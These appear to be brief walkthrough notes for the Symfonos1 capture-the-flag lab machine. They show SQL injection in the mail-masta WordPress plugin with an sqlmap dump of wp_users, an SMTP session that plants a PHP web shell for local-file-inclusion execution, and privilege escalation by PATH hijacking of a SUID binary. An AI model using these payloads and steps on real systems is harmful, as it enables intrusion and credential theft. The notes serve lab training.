Symfonos1

smb enumeration

wordpress discovered

Mail-masta plugin discovered via wpscan using aggressive scan (to detect plugins)

sqli via mail-masta

// 
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?list_id=


sqlmap -r mail-masta2 -p list_id --dump -T wp_users


helo server
MAIL FROM: <helios@blah.com>
MAIL FROM: <helios@localhost>
RCPT TO: <helios@symfonos.local>
RCPT TO: <helios@localhost>
DATA

<? php system($_GET[‘cmd’]);?>
.
QUIT

Also discovered LFI

with this new information it's possible to construct email that can be included in the LFI (called)

first tested with a simple Phpinfo

reverse php shell is possible...

for the privilege escalation find the SUID binary (/opt/statuscheck)

perform strings /opt/statuscheck and notice curl is called

update the PATH to include /tmp first

create a curl executable

Last updated